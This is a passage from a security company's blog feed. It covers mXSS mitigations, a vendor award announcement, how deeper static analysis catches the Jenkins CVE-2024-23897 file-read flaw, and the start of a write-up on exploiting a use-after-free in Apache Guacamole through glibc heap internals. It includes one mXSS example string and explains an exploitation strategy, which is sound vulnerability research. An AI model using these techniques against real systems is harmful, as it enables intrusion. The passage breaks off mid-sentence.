href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API&quot;&gt;Sanitizer API&lt;/a&gt; initiative is exactly that. It is currently under development by the Web Platform Incubator Community Group (WICG) and is meant to provide developers with an integrated, robust, and context-aware sanitizer written by browsers themselves (no more parser differentials nor reparsing). Wider browser adoption of the Sanitizer API would likely lead to developers&amp;#x27; increased use of it for safer HTML manipulation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another effort taken to tackle this issue is specs updates, for example, Chrome now encodes &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;&amp;gt;&lt;/code&gt; characters in attributes&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;style&amp;gt;&amp;lt;a alt=&amp;quot;&amp;lt;/style&amp;gt;&amp;quot;&amp;gt;&lt;/code&gt; → &lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;style&amp;gt;&amp;lt;a alt=&amp;quot;&amp;amp;lt;/style&amp;amp;gt;&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Evolving the fundamentals of the HTML definitions to a safer future.&lt;/p&gt;&lt;h2&gt;mXSS cheatsheet 🧬🔬&lt;/h2&gt;&lt;p&gt;We have created &lt;a href=&quot;https://sonarsource.github.io/mxss-cheatsheet/&quot;&gt;mXSS cheatsheet&lt;/a&gt; meant to be a one-stop shop for anyone who is interested in learning, researching, and innovating in the world of mXSS. Helping users to see unexpected HTML behavior in a simplified list, unlike reading 1500~ pages of documentation. We encouraged users to &lt;a href=&quot;http://contributions&quot;&gt;contribute&lt;/a&gt; and help drive this effort forward together.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;mXSS (mutation cross-site scripting) is a security vulnerability that arises from the way HTML is handled. Even if a web application has strong filters in place to prevent traditional XSS attacks, mXSS can still sneak through. This is because mXSS exploits quirks in the HTML behavior, blinding the sanitizer to malicious elements. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog dove into mXSS, providing examples, splitting this big “mXSS” name into subsections, and covering developer mitigation strategies. By equipping you with this knowledge, we hope developers and researchers can confidently address this issue in the future.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar Named Leader in G2 Spring Report]]></title><description><![CDATA[We are excited to share that the G2 Spring 2024 reports were recently released, and once again, Sonar has been named the LEADER in Static Code Analysis! ]]></description><link>https://www.sonarsource.com/blog/sonar-named-leader-in-g2-spring-report</link><guid isPermaLink="false">5cd08482-23da-5568-827c-377d01aae269</guid><dc:creator><![CDATA[Zoe Bell]]></dc:creator><pubDate>Tue, 21 May 2024 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are excited to share that the G2 Spring 2024 reports were recently released, and once again, Sonar has been named the &lt;a href=&quot;https://www.g2.com/categories/static-code-analysis#grid&quot;&gt;LEADER in Static Code Analysis&lt;/a&gt;! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This honor reflects our commitment to excellence, highlighting SonarQube&amp;#x27;s focus on customer needs in features, functionality, and business value, and reinforces SonarQube&amp;#x27;s ability to enable developers to consistently deliver high-quality software that&amp;#x27;s fit for production. &lt;/p&gt;&lt;h2&gt;&lt;strong&gt;So, what is the G2 Grid?&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;G2.com, formerly G2 Crowd, is a peer-to-peer review site. The G2 Grid helps technology buyers visualize the marketplace to make informed software purchasing decisions. It maps the competitive landscape for a category by plotting each product or service against Satisfaction and Market Presence scores. Scores are generated based on verified user reviews of products and online metrics like web traffic trends, social following, and more. The results are then used to plot products into a quadrant.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/85f4a815-23bb-4a82-b517-bf211ef1e742/g2_grid_report_2024.webp&quot; /&gt;&lt;p&gt;The four quadrants in a G2 Grid are leaders, high performers, contenders, and niche.&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;What makes SonarQube so great? &lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;This static code analysis tool is a self-hosted code quality and security solution that deeply integrates into your enterprise environment, enabling you to deploy clean code consistently and reliably. Its position as the Leader of the G2 reports is fueled by over 7M developers and 400k+ organizations who know the Sonar solution - talk about a lot of love! SonarQube offers: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Coverage for 30+ languages, frameworks, and IaC platforms&lt;/li&gt;&lt;li&gt;Seamless integrations with multiple IDEs &lt;/li&gt;&lt;li&gt;Security by design and a shift-left approach with advanced SAST capabilities &lt;/li&gt;&lt;li&gt;Security reporting, secrets detection &amp;amp; advanced bug detection &lt;/li&gt;&lt;li&gt;And much more!&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;strong&gt;Check out what the following G2 reviewers had to say about SonarQube: &lt;/strong&gt;&lt;/h2&gt;&lt;blockquote&gt;“We have implemented it across our org, and it has been awesome. Code coverage everywhere has gone up, more bugs are being fixed, and there is more visibility into the team&apos;s tech debt.” - Kelli K., Senior Software Engineer &lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;blockquote&gt;“SonarQube became my main platform for consolidating unit test results, code coverage and static code analysis. SonarQube Dashboard has become my benchmark for software development maturity. Other static code analyzers can also report errors, but unlike SonarQube, it shows very nice examples of compliant and non-compliant code. This has helped me a lot throughout my software development career.” - Murtadha Bazli, Senior Embedded System Engineer&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;blockquote&gt;“SonarQube has been an invaluable tool for our development team that helps us catch issues earlier on in the SDLC. We like the wide range of static code analysis rules, easy-to-use UI, and the large number of supported programming languages.” -  Verified User in Manufacturing&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;blockquote&gt;“Amazing user interface, fast learning curve, faster installation and deployment, good customer support, security scanning features and code smells!” - NItin K.
&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;blockquote&gt;“SonarQube helps us improve the reliability of our applications and reduce our technical support burden. It also helps us mature the code base, which makes subsequent development faster and easier.” - Verified User in Computer Software
&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;You can read all SonarQube reviews on the SonarQube &lt;a href=&quot;https://www.g2.com/products/sonarqube/reviews&quot;&gt;G2 page&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Check out our &lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarqube/demo/&quot;&gt;interactive demo&lt;/a&gt; if you&amp;#x27;re curious to explore the features that have garnered this recognition. Or, join the millions of developers using SonarQube to write code that leads to secure, reliable, and maintainable software by &lt;a href=&quot;https://www.sonarsource.com/lp/products/sonarqube/g2-leader/&quot;&gt;requesting a demo&lt;/a&gt; to see for yourself! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Find Deeply Hidden Security Vulnerabilities with Deeper SAST by Sonar]]></title><description><![CDATA[This post delves into an actual Jenkins vulnerability to understand the intricacies of deeper SAST for detecting deeply hidden code vulnerabilities. It illustrates how deeper SAST works and explains its impact on keeping your code clean and free of these serious issues.]]></description><link>https://www.sonarsource.com/blog/sonar-power-of-deeper-sast</link><guid isPermaLink="false">808106f8-73c2-57d1-ac86-a59c2765b6e9</guid><dc:creator><![CDATA[Johannes Dahse]]></dc:creator><pubDate>Wed, 15 May 2024 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last year, Sonar &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-new-deep-analysis-capability/&quot;&gt;announced&lt;/a&gt; its innovative analysis technology, deeper SAST, for detecting deeply hidden code vulnerabilities at the BlackHat security conference. Since then, we have continued to refine and expand this technology with the goal of discovering even more vulnerabilities with high accuracy so that your code stays clean.&lt;br/&gt;&lt;br/&gt;At the same time, we have been evaluating and monitoring the impact of analyzing open-source software with deeper SAST. In this blog post, we would like to highlight why deeper SAST is essential for finding hidden vulnerabilities that otherwise remain undetected by showcasing a critical real-world vulnerability example that impacted the world.&lt;/p&gt;&lt;h2&gt;What is deeper SAST?&lt;/h2&gt;&lt;p&gt;Nearly every software has multiple dependencies, such as the Spring framework or the Log4j library. However, traditional Static Application Security Testing (SAST) tools only analyze a project&amp;#x27;s &lt;em&gt;first-party&lt;/em&gt; code, neglecting the code within &lt;em&gt;third-party&lt;/em&gt; dependencies. These dependencies are black boxes for traditional SAST but often contain sensitive pieces of code that can lead to security vulnerabilities when used incorrectly in your project. As a result, traditional SAST misses hidden vulnerabilities that stem from the unique interaction with third-party code in your project&amp;#x27;s first-party code. &lt;/p&gt;&lt;p&gt;These sensitive code pieces in dependencies only become vulnerabilities when they are misused in your project. They are not vulnerabilities by themselves, and they are not classified and documented with a CVE. Hence, traditional SCA tools cannot detect these vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/daca87c6-5925-4687-95d8-e50cb295ea1d/DeeperSAST.png&quot; /&gt;&lt;p&gt;&lt;sup&gt;&lt;em&gt;Left side (red): Traditional vulnerability using only first-party code; Right side (purple): Hidden vulnerability connecting first-party code and third-party code.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Deeper SAST addresses this gap by extending its taint analysis to cover the interaction of first-party code with the dependencies used in your project. This enables our technology to have unique insights into the security side effects of dependent code. Deeper SAST evaluates all security-sensitive interactions between your project&amp;#x27;s code and its dependent code without any additional configuration or major performance overhead. This allows Sonar to find vulnerabilities in your project that traditional SAST and SCA tools miss. You can learn more about how our deeper SAST technology works behind the scenes in &lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities/&quot;&gt;this blog post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Jenkins Security Vulnerability CVE-2024-23897&lt;/h2&gt;&lt;p&gt;Now, what kind of hidden code vulnerabilities can deeper SAST find? Let&amp;#x27;s look at a real-world example. Last year, our researchers reported a critical vulnerability in the code of Jenkins, one of the most popular CI/CD software used by over 10 million developers. We will examine the individual code pieces involved in this vulnerability and explain why only deeper SAST is able to connect the dots.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability affected the built-in CLI tool of Jenkins which is used to manage a Jenkins server remotely. To parse command line arguments for this CLI tool, Jenkins imports a small third-party library called &lt;em&gt;args4j&lt;/em&gt;. Within this &lt;em&gt;args4j &lt;/em&gt;library, there is a hidden feature during argument parsing: When arguments start with an &amp;quot;@&amp;quot; character, they are opened and read as files. Ultimately, this feature can be abused by remote attackers when passing malicious arguments to Jenkins to steal sensitive files. You can find out more about the details of this vulnerability in our &lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;technical blog post&lt;/a&gt;.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7208d9c8-6877-47e0-8ae6-928f7fd64a1d/JenkinsVulnerability.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The key point is that when analyzing only the code of Jenkins, no vulnerability can be found because the security-sensitive part of opening files is performed in the library code. By analyzing only the code of args4j, no vulnerability can be found either because opening files alone are harmless. There is only a security problem when a malicious user can tamper with the file path. It is up to the developer to use this library securely, and there is no entry in the CVE database.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Only deeper SAST can analyze the specific interaction between the first-party code (Jenkins) and the third-party code (args4j), determine it&amp;#x27;s insecure, and raise a security vulnerability.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0300699f-a799-47da-9769-dd528100feaf/JenkinsVulnerabilityCode.png&quot; /&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=sonarsourceresearch_jenkins-blogpost&amp;open=AY7hAB-MwdTsYOLojCKn&quot;&gt;Open vulnerability finding on SonarCloud&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Jenkins maintainers quickly fixed this issue after our report and released patch versions 2.442 and LTS 2.426.3. They rated the vulnerability as critical,&lt;em&gt; &lt;/em&gt;with a score of 9.8 in the Common Vulnerability Scoring System (CVSS).&lt;/p&gt;&lt;h2&gt;The impact of a single, deeply hidden critical vulnerability&lt;/h2&gt;&lt;p&gt;This vulnerability in Jenkins is only one example of code interactions that can be obscure and difficult for a developer to review, especially when many transitive dependencies are used. Yet, a single code vulnerability ending up in production can have a tremendous impact on your software and business. The following video demonstrates how attackers can exploit this hidden vulnerability to steal sensitive files and potentially take over the Jenkins server.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/ucs-XF5X3bE?si=fIlqqI7Msh297yW3&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Due to the popularity of Jenkins, the public was warned by multiple media sites&lt;sup&gt;&lt;a href=&quot;https://thehackernews.com/2024/01/critical-jenkins-vulnerability-exposes.html&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;https://www.securityweek.com/critical-jenkins-vulnerability-leads-to-remote-code-execution/&quot;&gt;2&lt;/a&gt;,&lt;a href=&quot;https://www.helpnetsecurity.com/2024/01/29/cve-2024-23897/&quot;&gt;3&lt;/a&gt;,&lt;a href=&quot;https://www.scmagazine.com/brief/critical-rce-attacks-threaten-almost-45k-jenkins-servers&quot;&gt;4&lt;/a&gt;,&lt;a href=&quot;https://www.theregister.com/2024/01/30/jenkins_rce_flaw_patch/&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; and governments&lt;sup&gt;&lt;a href=&quot;https://cert.europa.eu/publications/security-advisories/2024-014/&quot;&gt;1&lt;/a&gt;,&lt;a href=&quot;https://www.cyber.gov.au/about-us/view-all-content/alerts-and-advisories/multiple-vulnerabilities-jenkins-products&quot;&gt;2&lt;/a&gt;,&lt;a href=&quot;https://www.cisa.gov/news-events/bulletins/sb24-029&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.darkreading.com/vulnerabilities-threats/poc-exploits-heighten-risks-around-critical-new-jenkins-vuln&quot;&gt;DarkReading wrote&lt;/a&gt; that &amp;quot;One reason for the concern is the fact that DevOps tools such as Jenkins can often contain critical and sensitive data that developers might bring in from production environments when building or developing new applications. A case in point occurred last year when a security researcher found a document containing 1.5 million individuals on the TSA&amp;#x27;s no-fly list sitting unprotected on a Jenkins server, belonging to Ohio-based CommuteAir.&amp;quot;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.techradar.com/pro/security/thousands-of-jenkins-instances-exposed-following-attack&quot;&gt;TechRadar reported&lt;/a&gt; in January that &amp;quot;there are roughly 45,000 unpatched Jenkins servers that could be potential targets. The majority of these endpoints are located in China (12,000), followed by the United States (11,830), Germany (3,060), India (2,681), France (1,431), and the UK (1,029)&amp;quot;. &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/exploits-released-for-critical-jenkins-rce-flaw-patch-now/&quot;&gt;BleepingComputer added&lt;/a&gt; that &amp;quot;Researchers report that their Jenkins honeypots have already caught activity in the wild, suggesting that hackers have started exploiting the vulnerabilities&amp;quot;. These ongoing attacks were later confirmed by a &lt;a href=&quot;https://www.trendmicro.com/en_us/research/24/c/cve-2024-23897.html&quot;&gt;report by TrendMicro&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Conclusion &lt;/h2&gt;&lt;p&gt;Deeper SAST is indispensable for finding deeply hidden vulnerabilities and writing  &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;Clean Code&lt;/a&gt;. We demonstrated the importance of deeper SAST with a single vulnerability example. A single vulnerability can have drastic consequences. Sonar uncovers hundreds of new deeply hidden security vulnerabilities every day.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Deeper SAST functionality is available to Sonar&amp;#x27;s commercial customers at no extra cost. You can experience it firsthand with &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;, our cloud-based solution, or with self-managed &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/enterprise/&quot;&gt;SonarQube&lt;/a&gt; Developer Edition or above (version 9.9 LTS or later).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Try deeper SAST for free on your project or using our &lt;a href=&quot;https://github.com/Sonar-Demos/deeper-sast-demo&quot;&gt;demo repository&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Further reading&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;Press release: &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-new-deep-analysis-capability/&quot;&gt;Sonar&amp;#x27;s Powerful Deep-Analysis Finds Hidden Security Issues in Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Website: &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;Security starts with Clean Code - the benefits of deeper SAST&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Technical blog post: &lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-uncovers-hidden-security-vulnerabilities/&quot;&gt;Behind the scenes of deeper SAST&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Technical blog post: &lt;a href=&quot;https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/&quot;&gt;Critical security vulnerability in Jenkins&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Finding on SonarCloud: &lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=sonarsourceresearch_jenkins-blogpost&amp;open=AY7hAB-MwdTsYOLojCKn&quot;&gt;Jenkins Path Traversal vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Parallel Code Security: The Challenge of Concurrency]]></title><description><![CDATA[Parallelism has been around for decades, but it is still a source of critical vulnerabilities nowadays. This blog post details a severe vulnerability in the remote desktop gateway Apache Guacamole, highlighting the security risks of parallelism.]]></description><link>https://www.sonarsource.com/blog/avocado-nightmare-2</link><guid isPermaLink="false">d7dcf6ef-7342-5d10-a589-a0d11bac5e30</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Tue, 14 May 2024 15:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is the second article in our blog post series covering two critical vulnerabilities in the remote desktop gateway Apache Guacamole. Guacamole allows users to access remote machines via a web browser. The Guacamole gateway is usually the only externally accessible instance, granting access to remote machines isolated in an organization’s internal network.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-1&quot;&gt;In the first article&lt;/a&gt;, we explained how Guacamole’s interesting architecture connects a Java component with a C backend server and how both of these components slightly disagree about their communication, introducing a parser differential vulnerability (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30575&quot;&gt;CVE-2023-30575&lt;/a&gt;).&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;In this article, we will see that the requirement of high parallelism to serve and share hundreds of connections at the same time makes an application like Guacamole also prone to concurrency issues. We will dive into the world of glibc heap exploitation and ultimately gain remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also presented the content of this blog post at &lt;a href=&quot;https://www.sonarsource.com/blog/hexacon2023-highlights/&quot;&gt;Hexacon23&lt;/a&gt;. A recording of the talk can be found here: &lt;a href=&quot;https://www.youtube.com/watch?v=ToIn2bkD9yU&quot;&gt;YouTube: HEXACON2023 - An Avocado Nightmare by Stefan Schiller&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Parallelism&lt;/h2&gt;&lt;p&gt;Parallelism has been around for decades but is still a source of severe security vulnerabilities nowadays. Doing things simultaneously on its own is not really a problem. If each worker is working on a self-contained task that is independent of another worker’s task, there are no issues with concurrency. The challenges arise when the same resource needs to be accessed simultaneously.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/72074df7-8643-4ad7-bdfa-32eabfbac193/guacamole2_parallelism.png&quot; /&gt;&lt;p&gt;So, how many workers does Guacamole employ? When a user connects to the Guacamole Server, the main process forks a new child process. When another user connects, a new child process is forked. This is done for every new connection:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d6f76b9a-7085-46e5-9378-b5e0200b6adc/guacamole2_workers.png&quot; /&gt;&lt;p&gt;Each of these child processes is responsible for:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;handling the user connection,&lt;/li&gt;&lt;li&gt;initiating and maintaining the connection to the internal host,&lt;/li&gt;&lt;li&gt;communicating with the parent process,&lt;/li&gt;&lt;li&gt;and so forth.&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;All of this has to be done simultaneously. This means there are a lot of threads. The threads shown in the graphic above are just a few of them for each forked child process.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Based on this observation, we decided to spend some time looking for concurrency issues. In general, everything seemed pretty solid. All threads are loosely coupled, and mutexes are used to ensure exclusive access to shared resources.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, &lt;a href=&quot;https://guacamole.apache.org/doc/gug/configuring-guacamole.html#device-redirection&quot;&gt;the audio input feature&lt;/a&gt; looked very interesting. This feature allows a user to transmit audio data from a locally attached microphone to the Guacamole Server, which is then forwarded to the RDP host. Let’s have a look at the related RDP connection flow:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e8d9900c-1082-4c7a-9209-64597c834405/guacamole2_rdp_flow.gif&quot; /&gt;&lt;p&gt;There are three threads involved here:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The &lt;code&gt;input_thread&lt;/code&gt;,&lt;/li&gt;&lt;li&gt;the &lt;code&gt;user_thread&lt;/code&gt;, and,&lt;/li&gt;&lt;li&gt;the &lt;code&gt;rdp_client_thread&lt;/code&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;user_thread&lt;/code&gt; handles the initial &lt;code&gt;connect&lt;/code&gt; instruction and allocates two data structures: one for the socket and one for the user. The user holds a pointer to the socket allocated before. After this, the RPD connection can be initiated using the &lt;code&gt;rdp_client_thread&lt;/code&gt;. When &lt;code&gt;enable_audio_input&lt;/code&gt; is set to true, this thread allocates an additional audio buffer, which holds a pointer to the user. Thus, there is a pointer chain from the audio buffer - to the user - to the socket.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After all data structures have been created, the &lt;code&gt;rdp_client_thread&lt;/code&gt; establishes the RDP connection to the internal host. If the user now speaks into their microphone, the &lt;code&gt;input_thread&lt;/code&gt; receives an &lt;code&gt;audio&lt;/code&gt; instruction, which is translated to the corresponding RDP audio message and transmitted to the RDP host. If the user now decides to disable remote audio on the RDP host by selecting the checkbox shown in the above animation, the RDP host sends an &lt;code&gt;audio input close&lt;/code&gt; message, which is handled by the &lt;code&gt;rdp_client_thread&lt;/code&gt;. The &lt;code&gt;rdp_client_thread&lt;/code&gt; acknowledges this message by calling the &lt;code&gt;audio_buffer_ack&lt;/code&gt; function. This function only has access to the message and the audio buffer. In order to send the acknowledgment message, it needs to retrieve the socket. Thus, it traverses the pointers from the audio buffer to the user and to the socket. The first function being called on the socket is its &lt;code&gt;lock_handler&lt;/code&gt; function.&lt;/p&gt;&lt;h2&gt;Audio Buffer Use-After-Free&lt;/h2&gt;&lt;p&gt;What could possibly go wrong here?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s assume the RDP connection is established, and the user has already spoken into their microphone to transmit some audio data. Now, the user decides to disconnect from the session:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/259a9447-ed83-49f1-bdba-37acb8bea56f/guacamole2_flow1.png&quot; /&gt;&lt;p&gt;This tears down the &lt;code&gt;user_thread&lt;/code&gt;, which frees the memory allocated for the socket and the user. The &lt;code&gt;rdp_client_thread&lt;/code&gt;, responsible for handling the RDP connection, is still running, though, and is waiting for messages from the RDP server. So, if the RDP server now sends a message to close the audio channel, the &lt;code&gt;rdp_client_thread&lt;/code&gt; tries to send the acknowledgment message:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9909cd6f-a0d8-44f2-8b0d-86c4b4afd29e/guacamole2_flow2.png&quot; /&gt;&lt;p&gt;Thus, it accesses the user pointer in the audio buffer, which is already a dangling pointer. So if the user disconnects first, and then the RDP host closes the audio input, we have a classical Use-After-Free vulnerability (&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-30576&quot;&gt;CVE-2023-30576&lt;/a&gt;).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability can be triggered with 100% reliability by making the Guacamole Server connect to an XRDP server via the &lt;a href=&quot;https://www.sonarsource.com/blog/avocado-nightmare-1&quot;&gt;Guacamole protocol injection&lt;/a&gt; and then disconnect from the session. Unlike a Windows RDP server, XRDP explicitly closes the audio input channel before the connection is terminated, which is sufficient to trigger the vulnerability.&lt;/p&gt;&lt;h2&gt;Use-After-Free Exploit - Classical Approach&lt;/h2&gt;&lt;p&gt;Let’s determine how an attacker could exploit this vulnerability. We start by looking at how such a Use-After-Free vulnerability would usually be exploited.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once the user disconnects, the user and socket are freed. At this point, there are actually two dangling pointers: The first one is the user pointer in the audio buffer, and the second one is the socket pointer of the already freed user. The most straightforward approach is to reallocate the freed socket and populate the &lt;code&gt;lock_handler&lt;/code&gt; function pointer with some address the attacker wants to call:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b16b5c65-9a5e-49e0-805a-58c6b2d6c290/guacamole2_realloc.gif&quot; /&gt;&lt;p&gt;Once the RDP host closes the audio channel:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The user pointer in the audio buffer is referenced,&lt;/li&gt;&lt;li&gt;the socket pointer in the user is referenced, and&lt;/li&gt;&lt;li&gt;the attacker-controllable &lt;code&gt;lock_handler&lt;/code&gt; function is called.&lt;br/&gt;&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Theoretically, this is very easy. But here is the first challenge: The chunks are freed right before the thread ends its execution. It is not possible to do any reallocation in this thread:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/* Clean up */
guac_socket_free(socket); // &lt;-- socket freed
guac_user_free(user); // &lt;-- user freed
free(params);
return NULL;
// end of thread execution&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It would be possible to do an allocation from the RDP connection, which is handled by the &lt;code&gt;rdp_client_thread&lt;/code&gt; and is still alive, but since this is another thread, it is also attached to a different &lt;a href=&quot;https://sourceware.org/glibc/wiki/MallocInternals#Arenas_and_Heaps&quot;&gt;arena&lt;/a&gt;. Every allocation an attacker could make via the &lt;code&gt;rdp_client_thread&lt;/code&gt; is served from this arena (&lt;code&gt;arena Y&lt;/code&gt;):&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/b412e315-43d3-4893-bf9d-5f4df4a0626c/guacamole2_realloc_chlg.png&quot; /&gt;&lt;p&gt;Accordingly, this classical reallocation approach doesn’t seem to work. We need to come up with something else.&lt;/p&gt;&lt;h2&gt;Use-After-Free Exploit - Without Reallocation&lt;/h2&gt;&lt;p&gt;An alternative approach is to exploit the Use-After-Free vulnerability without any reallocation by leveraging the glibc’s heap internals.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a chunk like the socket data structure is freed, there are basically three possibilities:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;The chunk is put into a &lt;a href=&quot;https://sourceware.org/glibc/wiki/MallocInternals#Thread_Local_Cache_.28tcache.29&quot;&gt;tcache&lt;/a&gt; bin,&lt;/li&gt;&lt;li&gt;the chunk is put into a bin of its arena, or,&lt;/li&gt;&lt;li&gt;the 